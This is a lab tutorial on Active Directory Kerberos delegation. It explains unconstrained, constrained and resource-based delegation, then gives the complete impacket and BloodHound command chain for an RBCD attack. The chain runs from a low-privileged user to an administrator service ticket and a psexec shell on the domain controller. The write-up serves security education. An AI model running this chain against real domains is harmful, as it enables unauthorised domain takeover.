AD Exploitation: A Step-by-Step Guide to Resource-Based Constrained Delegation (RBCD) Attacks

Nazarov Samir

5 min read

·

May 23, 2026

--

Listen

Share

What is delegation?

Delegation is the right of a service (e.g., Web Server) in an Active Directory (AD) environment to access another service in the background (e.g., Database / SQL Server) by impersonating the user who is accessing it (on its behalf).

The Evolution of Kerberos Delegation

Unconstrained Delegation: The entire TGT (Ticket Granting Ticket) of the user accessing the service is written to the service’s memory. The service can go anywhere on behalf of the user with this ticket. It is very dangerous (if the service is compromised, all user tickets are stolen).

Constrained Delegation (KCD): Here, which service can access which target service (SPN) is determined centrally in advance. To manage this, Domain Admin rights are required. Because the permission is stored in the ‘msDS-AllowedToDelegateTo’ attribute on the account of the requesting object (for example, Web Server).

Resource-Based Constrained Delegation (RBCD): It came with Windows Server 2012. Unlike KCD, here the permission is not determined centrally, but by the resource (target) itself.

How does RBCD work?

In KCD, the Web Server stored in its attributes who can go where on whose behalf, while in RBCD, the target server (for example, the Database Server) records who can act on its behalf.

The target object (for example, `SQL-SERVER$`) has an attribute called ‘msDS-AllowedToActOnBehalfOfOtherIdentity’.This attribute contains the SID of the services or computers that will access it.

RBCD uses two important Kerberos extensions in the background:

• S4U2self (Service for User to Self): Allows a service to request a Kerberos service ticket to itself on behalf of a user, without requiring the user’s password.
• S4U2proxy (Service for User to Proxy): Allows the service to use that ticket to request another service ticket to a target resource, provided the target trusts the requesting service.

Lab Setup

Prerequisites

• Windows Server 2019 as Active Directory
• Kali Linux
• Tools: Bloodhound, Impacket
• Windows 10/11 — As Client

To create a vulnerable environment, grant Full Control permission to a low-privileged domain user on the domain controller’s PC.

Navigate to tools → Active directory Users and Computers.Enable Advanced Features from View.Right-click on the DC computer from Domain Controllers. In the Security section, add a low-privileged user and grant him Full Control permission.

Enumeration & Explotation

You can use bloodhound to map the domain to identify vulnerabilities. I used bloodhound-python as the bloodhound collector. (It can be used in Sharphound.exe)

bloodhound-python -u snazarov -p 'Passw0rd!' -d cyberlab.in -ns 10.10.10.10 -c all --zip

Press enter or click to view image in full size

You can then map the domain by uploading the zip file to bloodhound.

Let’s search for the low-privileged user(snazarov) we have in Bloodhound’s search space.After selecting the object, you can now view it graphically. You can click on it and see detailed information about the object in the window on the left.

In the Outbound object control section, we can see that First Degree Object Control has a value of 2. If we click on it, we can see that we have GenericAll (Full Control) authority on the DC.

Press enter or click to view image in full size

We will use the GenericAll privilege to change the DC’s “msDS-AllowedToActOnBehalfOfOtherIdentity” attribute.

1. Abuse MachineAccountQuota

In Active Directory, a regular user normally has the right to add new computers to the network. The mechanism that controls this is the MachineAccountQuota attribute, and by default this value is set to 10. This means that each regular user can create 10 new computer accounts within the domain.

impacket-addcomputer cyberlab.in/snazarov:'Passw0rd!' -computer-name FAKE01PC  -computer-pass 'Passw0rd!' -dc-ip 10.10.10.10

Press enter or click to view image in full size

2.Rewrite DC’s AllowedToActOnBehalfOfOtherIdentity properties

The attacker uses the write permission (GenericAll) on the Domain Controller (DC) object to write the SID of the FAKE01PC$ account he created into its msDS-AllowedToActOnBehalfOfOtherIdentity attribute.

impacket-rbcd cyberlab.in/snazarov:'Passw0rd!' -action write -delegate-to 'dc-cyberlab$' -delegate-from 'FAKE01PC$' -dc-ip 10.10.10.10

Press enter or click to view image in full size

3.Generate a Service Ticket(ST) for CIFS

impacket-getST cyberlab.in/'FAKE01PC$':'Passw0rd!' -spn cifs/dc-cyberlab -impersonate administrator -dc-ip 10.10.10.10

Press enter or click to view image in full size

Pass The Ticket

export KRB5CCNAME=administrator@cifs_dc-cyberlab@CYBERLAB.IN.ccache 

impacket-psexec cyberlab.in/administrator@dc-cyberlab -k -no-pass -dc-ip 10.10.10.10

The step-by-step logic of the attack works like this:

1.WriteProperty: You have the right to change the msDS-AllowedToActOnBehalfOfOtherIdentity attribute of the Target-Server.

2.Fake Account Creation: You add a new computer account (fakepc$) to the network (because by default each user is allowed to create up to 10 computer accounts within the MachineAccountQuota limit).

3.Delegation Assignment: You tell the target server: “You can trust the fakepc$ account for requests coming to you (Constrained Delegation).”

4.Ticket Impersonation: As the owner of the fakepc$ account, you request a Service Ticket (ST) from the DC on behalf of any high-privileged user (e.g. Administrator) for the Target-Server using the Kerberos S4U2self and S4U2proxy extensions.